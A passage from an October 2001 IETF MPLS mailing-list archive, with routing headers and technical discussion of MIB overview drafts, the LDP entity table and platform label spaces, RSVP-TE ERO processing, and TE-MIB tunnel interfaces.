sec.6 of FTN MIB <br>
sec.8 of LMP MIB <br>
sec.8 of LSR MIB <br>
sec.11 of VPN MIB <br>
<br>
I think just copying may not be sufficient, but as Adrian said, we may
have to make <br>
this (appear!) as a one huge working example together.</blockquote><br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><font face="Arial, Helvetica">We
(myself and co-authors of each of the MIBs you</font> <br>
<font face="Arial, Helvetica">referred to) have tried to make the
examples in those MIBs</font> <br>
<font face="Arial, Helvetica">sufficiently cross-referenced, and
sufficiently detailed. I think that</font> <br>
<font face="Arial, Helvetica">we should make those examples fully
detailed in their native</font> <br>
<font face="Arial, Helvetica">documents. It was however, my recollection
that the goal and intent of</font> <br>
<font face="Arial, Helvetica">this document was to show how things fit
together at a high level, and</font> <br>
<font face="Arial, Helvetica">not delve too much into the details. The
point was to make</font> <br>
<font face="Arial, Helvetica">this document a good starting point for
developers and operators.</font> <br>
<font face="Arial, Helvetica">From here they could go to the specific
drafts for more details.</font> <br>
&nbsp; <br>
<blockquote type=cite cite>My other suggestion which I missed was to
include the GMPLS related MIBs <br>
and the OSPF MIB.</blockquote><br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><font face="Arial, Helvetica">Which
OSPF MIB?</font> <br>
&nbsp; <br>
<blockquote type=cite cite>Adrian, <br>
As you said, such an example will be hugely useful, only if
&quot;timely&quot; delivered. I <br>
have no clue about Tom's book, it may be a good reference for later use,
but for now the <br>
examples will help the people who are running with his
drafts.</blockquote><br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><font face="Arial, Helvetica">The
book issue is irrelevant here. Lets focus on what it takes</font> <br>
<font face="Arial, Helvetica">to have a sufficient and succinct MPLS MIB
overview document.</font> <br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><font face="Arial, Helvetica">--Tom</font>
<br>
&nbsp; <br>
&nbsp; <br>
&nbsp; <br>
&nbsp; <br>
<blockquote type=cite cite>Regards, <br>
Irfan Lateef <br>
<br>
Thomas Nadeau wrote: <br>
<br>
&gt; &gt;This was a much needed effort. Just one feedback. <br>
&gt; &gt;You have examples in all the other draft MIBs. It will <br>
&gt; &gt;be good if you can add those examples in this draft and <br>
&gt; &gt;adjust the values of the attributes to show the linkages. <br>
&gt; &gt;Just a thought. <br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Do you mean copy the examples out of the other <br>
&gt; drafts and put them in here as part of one large example? <br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --Tom <br>
<br>
Adrian Farrel wrote: <br>
<br>
&gt; Irfan, <br>
&gt; <br>
&gt; The existing MIBs contain worked examples that include all of the <br>
&gt; cross-references between MIBs. <br>
&gt; It is generally not good practice to include this sort of material in two places <br>
&gt; and it would be an editorial nightmare. <br>
&gt; <br>
&gt; I can well believe that a full worked example of how to make all of the MIBs in <br>
&gt; a system hang together in detail would be hugely useful.&nbsp; I don't believe, <br>
&gt; however, that this should live in an Internet Draft.&nbsp; You may find this <br>
&gt; information in Tom's book when it is published (that'll be $10 please, Tom) or <br>
&gt; more likely get it as a tutorial from your software vendor. <br>
&gt; <br>
&gt; We will, however, look at beefing up the 'dependencies' sections to describe the <br>
&gt; abstract references between the MIBs to make it still clearer how they relate to <br>
&gt; each other. <br>
&gt; <br>
&gt; Regards, <br>
&gt; Adrian <br>
&gt; -- <br>
&gt; Adrian Farrel <br>
&gt; Movaz Networks Inc. <br>
&gt; Tel: 703-847-1867 <br>
&gt; afarrel@movaz.com <br>
&gt; ----- Original Message ----- <br>
&gt; &gt; Tom, <br>
&gt; &gt; <br>
&gt; &gt; This was a much needed effort. Just one feedback. <br>
&gt; &gt; You have examples in all the other draft MIBs. It will <br>
&gt; &gt; be good if you can add those examples in this draft and <br>
&gt; &gt; adjust the values of the attributes to show the linkages. <br>
&gt; &gt; Just a thought. <br>
&gt; &gt; Regards, <br>
&gt; &gt; Irfan Lateef <br>
&gt; &gt; <br>
<br>
-- <br>
Irfan Lateef <br>
Village Networks Inc,</blockquote><br>
&nbsp; <br>
&nbsp;------------------------------------------------------------------------Mathematics is the supreme nostalgia of our time.</blockquote><br>
-- <br>
Irfan Lateef <br>
Village Networks Inc, <br>
&nbsp; </blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_1626078==_.ALT--



From owner-mpls@UU.NET  Wed Oct 10 10:18:11 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10724
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 10:18:10 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdl20081;
	Wed, 10 Oct 2001 14:15:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdk12185
	for mpls-outgoing; Wed, 10 Oct 2001 14:14:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkdk12172
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 14:14:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkdk20780
	for <mpls@UU.NET>; Wed, 10 Oct 2001 14:14:17 GMT
Received: from tenornetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQlkdk09652
	for <mpls@UU.NET>; Wed, 10 Oct 2001 14:14:31 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9AEE5521254;
	Wed, 10 Oct 2001 10:14:05 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          WED, 10 Oct 2001 10:14:36 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <SY29QVNK>; Wed, 10 Oct 2001 10:14:36 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56011B524B@newman.tenornet.com>
From: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
To: "'Joan Cucchiara'" <jcucchia@crescentnetworks.com>
Cc: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@crescentnetworks.com, jluciani@crescentnetworks.com,
        hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable
Date: Wed, 10 Oct 2001 10:14:35 -0400
Importance: low
X-Priority: 5
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Joan,
  
>The entity table represents configuration for potential sessions, so 
>if some interfaces use Downstream on Demand and some are Downstream
>Unsoliticied, then this means a minimum of 2 sessions (so 2
>mplsLdpEntityLdpId 
>indexes).  RFC3036 describes that a single session could not run both
>in DOD and DU simultaneously.

 In case of per platform label space. one entity can have several peers.
 One entity corresponds to many peers with different peer LDP identifier
(mplsLdpPeerLdpId) in case of platform label space. 
That means one entity can have many sessions based upon peer. Some sessions
can use DOD and some sessions 
can use DU, but both sessions corresponds to one entity. In this case one
session uses one distribution only. 
   
>There could be two label spaces where both
>are considered per platform where some interfaces participate in
>supporting
>one label space, and some interfaces participate in supporting another
>label space, which is how one could possibly configure some interfaces
>for DownStream OnDemand 
>and some interfaces for Downstream Unsolicited (but this would take a
>minimum
>of two label ranges and at least two entities (or sessions)).

 LDP MIB is restricting to use different label space if interfaces uses
different distribution modes in case of platform label space. That means, it
is forcing to use multiple platform label space in one LSR.
 But in case of platform label space, label space id is zero as per RFC 3036
in LDP identifier (<LSR Id> : <label space id>). This contradicts with your
answer.

Thanks,
Kishore

>  -Joan

> 
>> Thanks,
>> Kishore
> 
> -----Original Message-----
> From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
> Sent: Tuesday, October 09, 2001 5:59 PM
> To: Srinivas T M
> Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> jluciani@CrescentNetworks.com; hans@ipunplugged.com
> Subject: Re: mplsLdpEntityTable
> 
> Srinivas T M wrote:
> >
> > Hi,
> >    Can anybody clarify my below question.
> >
> > How Interface Index relates to entry in the
> > mplsLdpEntityTable in case of per-platform label space
> > , generic label type and in case of LDP Identifier is
> > same for all interfaces ?
> 
> The entity entry/row is the configuration for a potential
> session.  The Interface Index is in the label range tables
> and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> to tie the entity entry with a label range entry.
> 
> In the case of the per-platform label space, this is also
> the situation.  I'm not sure if this answers the question
> you are asking though.
> 
> >
> >  Can we use single entry in the entity table for
> > multiple interfaces? If it is like that, then what
> > happens if we change label Distribution Method or
> > LabelRetentionMode  or any field in the entity table,
> > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > telling how interface relates to entry in the entity
> > table.
> 
> The front section of the MIB and the description for
> mplsLdpEntityAdminStatus does describe that it
> expects the user to administratively disable the entity
> (and thus take down the session -- meaning the session
> is removed) and then change whatever
> fields and then administratively enable the entity
> to create new session.
> 
>   -Joan
> 
> >
> >   MplsLdpEntityEntry ::= SEQUENCE {
> >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> >      mplsLdpEntityIndex        Unsigned32,
> >      mplsLdpEntityProtocolVersion  Integer32,
> >      mplsLdpEntityAdminStatus      INTEGER,
> >      mplsLdpEntityOperStatus       INTEGER,
> >      mplsLdpEntityTcpDscPort       Unsigned32,
> >      mplsLdpEntityUdpDscPort       Unsigned32,
> >      mplsLdpEntityMaxPduLength     Unsigned32,
> >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> >      mplsLdpEntityHelloHoldTimer      Integer32,
> >      mplsLdpEntityInitSesThreshold    Integer32,
> >      mplsLdpEntityLabelDistMethod     INTEGER,
> >      mplsLdpEntityLabelRetentionMode  INTEGER,
> >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> >      mplsLdpEntityPVL                 Integer32,
> >      mplsLdpEntityHopCountLimit       Integer32,
> >      mplsLdpEntityTargPeer            TruthValue,
> >      mplsLdpEntityTargPeerAddrType
> > adressFamilyNumbers,
> >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> >      mplsLdpEntityOptionalParameters
> > MplsLdpLabelTypes,
> >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> >      mplsLdpEntityStorType            StorageType,
> >      mplsLdpEntityRowStatus            RowStatus
> >      }
> >
> > Thanks in Advance,
> > Srini.
> >
> > __________________________________________________
> > Do You Yahoo!?
> > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> $8.95/month.
> > http://geocities.yahoo.com/ps/info1


From owner-mpls@UU.NET  Wed Oct 10 10:35:01 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11244
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 10:35:00 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdm17187;
	Wed, 10 Oct 2001 14:31:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdm13583
	for mpls-outgoing; Wed, 10 Oct 2001 14:31:16 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkdm13571
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 14:31:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkdm17998
	for <mpls@UU.NET>; Wed, 10 Oct 2001 14:30:17 GMT
Received: from web14303.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14303.mail.yahoo.com [216.136.173.79])
	id QQlkdm13189
	for <mpls@UU.NET>; Wed, 10 Oct 2001 14:30:09 GMT
Message-ID: <20011010143016.12372.qmail@web14303.mail.yahoo.com>
Received: from [63.77.213.2] by web14303.mail.yahoo.com via HTTP; Wed, 10 Oct 2001 07:30:16 PDT
Date: Wed, 10 Oct 2001 07:30:16 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: Multiple platform label space
To: mpls@UU.NET
Cc: jcucchia@crescentnetworks.com
In-Reply-To: <6B190B34070BD411ACA000B0D0214E56011B524B@newman.tenornet.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
    Is LDP supports mutliple platform label space? If
yes, how?

Srini.

__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Wed Oct 10 11:05:25 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11862
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 11:05:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdo05272;
	Wed, 10 Oct 2001 15:02:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdo21567
	for mpls-outgoing; Wed, 10 Oct 2001 15:02:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkdo20691
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:02:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkdo12134
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:01:58 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQlkdo04356
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:01:49 GMT
Received: from dundee.cisco.com (dundee.cisco.com [171.69.198.41])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f9AF1vk17473;
	Wed, 10 Oct 2001 08:01:57 -0700 (PDT)
Received: (bora@localhost) by dundee.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA11023; Wed, 10 Oct 2001 08:01:55 -0700 (PDT)
To: Apratim Mukherjee <ApratimM@netbrahma.com>
Cc: mpls@UU.NET, "'David Charlap'" <David.Charlap@marconi.com>
Subject: Re: RSVP-TE ERO Processing
References: <13D467F625FAD511AE2A00D0B7B917D706BB08@mailserver.netbrahma.com>
From: Bora Akyol <bora@cisco.com>
Date: 10 Oct 2001 08:01:55 -0700
In-Reply-To: Apratim Mukherjee's message of "Wed, 10 Oct 2001 12:45:50 +0530"
Message-ID: <c3nwv23czdo.fsf@dundee.cisco.com>
Lines: 58
X-Mailer: Gnus v5.7/Emacs 20.7
Sender: owner-mpls@UU.NET
Precedence: bulk

I think what has been said so far is that at every hop, the LSRs at
least need to check whether the ERO has changed. If loose hops are
involved then the LSR needs to either do a second route lookup or TED
calculation  and
make sure that the best route to the next hop is still the same.

You may want to review Kireeti's draft on TE route calculation. I
haven't been paying attention to the list for a while so I am not sure
if the draft is still current.

Bora

Apratim Mukherjee <ApratimM@netbrahma.com> writes:

> A doubt regarding this  given inline...
> 
> Thanks
> Apratim
> > ----------
> > From: 	David Charlap[SMTP:David.Charlap@marconi.com]
> > Sent: 	Friday, October 05, 2001 1:25 AM
> > To: 	mpls@UU.NET
> > Subject: 	Re: RSVP-TE ERO Processing
> > 
> > Girish Bhat wrote:
> > > 
> > > I don't think the ERO needs to be processed with every refresh.
> > > When the ERO changes, the source node creates a new path message
> > > with the same session id but a different lsp id. Note that path
> > > refreshes are sent along the old path with the old lsp id till the
> > > new path gets established. Once the resv message comes back along
> > > the new path, the old path is torn.
> > 
> > You've just described make-before-break.  This is the way ingress nodes
> > are supposed to do the rerouting.
> > 
> > But a transit router should not assume that it will work this way. 
> > There may be broken routers out there.  You still must be prepared to
> > handle the case where the ERO changes, even if your switch isn't capable
> > of anything more than generating a PathErr.
> > 
> > If the ERO changes, you should assume that the ingress node changed it
> > 
> Apratim : >>> Why is it that we are concerned only about when we recieve a
> changed ERO ? Even in the other case , where the ERO object has not changed
> , I think processing of the ERO should still be done as the second hop might
> be a loosely routed hop . In which case the path to the loosely routed hop
> could definitely change at run-time . Or it could be the same case if the
> second object is a AS No or an abstract node . How can we assume that the
> route stays the same as when we recieved the ERO for the first time although
> the ERO has the same contents ? 
> 
> > for a reason and that this is not some weird manifestation of line
> > noise.  To ignore the change and continue sending out Path messages to
> > the old next-hop with the old ERO is broken behavior.
> > 
> > -- David
> > 


From owner-mpls@UU.NET  Wed Oct 10 11:13:47 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11931
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 11:13:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdo20514;
	Wed, 10 Oct 2001 15:10:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdo05124
	for mpls-outgoing; Wed, 10 Oct 2001 15:10:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkdo05111
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:10:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdo25043
	for <mpls@uu.net>; Wed, 10 Oct 2001 15:08:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdo22898
	for <mpls@uu.net>; Wed, 10 Oct 2001 15:08:18 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA29919 for <mpls@uu.net>; Wed, 10 Oct 2001 11:08:03 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA06198 for mpls@uu.net; Wed, 10 Oct 2001 11:08:03 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkdo29245
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:07:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdo24692
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:06:33 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdo20197
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:06:46 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA29593; Wed, 10 Oct 2001 11:06:30 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAS30703;
	Wed, 10 Oct 2001 11:06:29 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011010110248.01a28350@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 10 Oct 2001 11:07:35 -0400
To: Kiril Shulga <kiril@galileo.co.il>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: MPLS Tunnel interface
Cc: mpls@UU.NET
In-Reply-To: <3BC3FB9B.8F20B006@galileo.co.il>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 09:41 AM 10/10/2001 +0200, Kiril Shulga wrote:
>Hi!
>I've few questions related to MPLS TE-MIB:
>
>In which purpose it's created tunnel that isn't interface
>(mplsTunnelIsIf = FALSE)?

         Some vendors chose to not implement
the tunnel heads as interfaces. This is why
it is possible to do this in the MIB.

>How redirect traffic to such tunnel?

         Some people have implemented
a device that can control tunnels
on remote LSRs. The creation of a
tunnel as an interface in the MIB doesn't
make sense in this case, but instead
just as a tunnelEntry.

         --Tom




>Thanks in advance,
>Kiril



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Wed Oct 10 11:18:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12030
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 11:18:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdp19520;
	Wed, 10 Oct 2001 15:15:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdo05675
	for mpls-outgoing; Wed, 10 Oct 2001 15:14:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkdo05670
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:14:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdo04053
	for <mpls@uu.net>; Wed, 10 Oct 2001 15:14:05 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdo03681
	for <mpls@uu.net>; Wed, 10 Oct 2001 15:14:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA00891 for <mpls@uu.net>; Wed, 10 Oct 2001 11:14:04 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA06693 for mpls@uu.net; Wed, 10 Oct 2001 11:14:04 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkdo05554
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:13:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdo07660
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:12:49 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdo01526
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:13:03 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA00692; Wed, 10 Oct 2001 11:12:48 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAS30837;
	Wed, 10 Oct 2001 11:12:47 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011010111225.01a203e0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 10 Oct 2001 11:13:53 -0400
To: Kiril Shulga <kiril@galileo.co.il>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: MPLS Tunnel interface
Cc: mpls@UU.NET
In-Reply-To: <3BC3FB9B.8F20B006@galileo.co.il>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 09:41 AM 10/10/2001 +0200, Kiril Shulga wrote:
>Hi!
>I've few questions related to MPLS TE-MIB:
>
>In which purpose it's created tunnel that isn't interface
>(mplsTunnelIsIf = FALSE)?

         One other case that I forgot in my last
reply is when examining the MIB at the midpoint
of a tunnel. Some LSRs may choose to not implement
mid-points of tunnels as interfaces, thus
they show up in the table as non-ifIndexes.

         --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Wed Oct 10 11:32:23 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12471
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 11:32:23 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdp12792;
	Wed, 10 Oct 2001 15:28:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdp06885
	for mpls-outgoing; Wed, 10 Oct 2001 15:28:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkdp06876
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:28:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdp13745
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:26:33 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkdp25088
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:26:47 GMT
Message-ID: <3BC468A7.1EA5823A@sandburst.com>
Date: Wed, 10 Oct 2001 11:26:31 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: Selma Yilmaz <selma@cs.bu.edu>
Cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: Your question(s)
References: <Pine.SOL.4.20.0110091805260.17852-100000@csb.bu.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

S. Yilmaz,

    Perhaps this is a better topic for another mailing list.  However,
if (G)MPLS is being used to signal setup for a second logical link,
intermediate devices would not be allowed to treat this as a new
setup for the existing link.  This would be the case regardless of
the signaling approach used (implicit in using CR-LDP, explicit in
using RSVP-TE).

    Does this answer your question(s)?

You wrote:

> My question is about INFOCOMM 2001 paper by M. Kodialam, T. V. Lakshman:
> "Integrated Dynamic IP and Wavelength Routing in IP over WDM Networks"
>
> After setting a logical link(cut-through arc) between an ingress-egress
> pair, what will happen if another physical path is used between the same
> ingress-egress pair and we need to set a cut-through arc for this path
> too? If we assume, both physical paths were using the same wavelength,
> will we just increase the capacity of the previously set logical link, or
> for each physical path we need to differentiate logical links? What
> happens for the same situation for physical paths with different
> wavelengths ?
>
> - S. Yilmaz

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Wed Oct 10 12:00:51 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12923
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 12:00:51 -0400 (EDT)
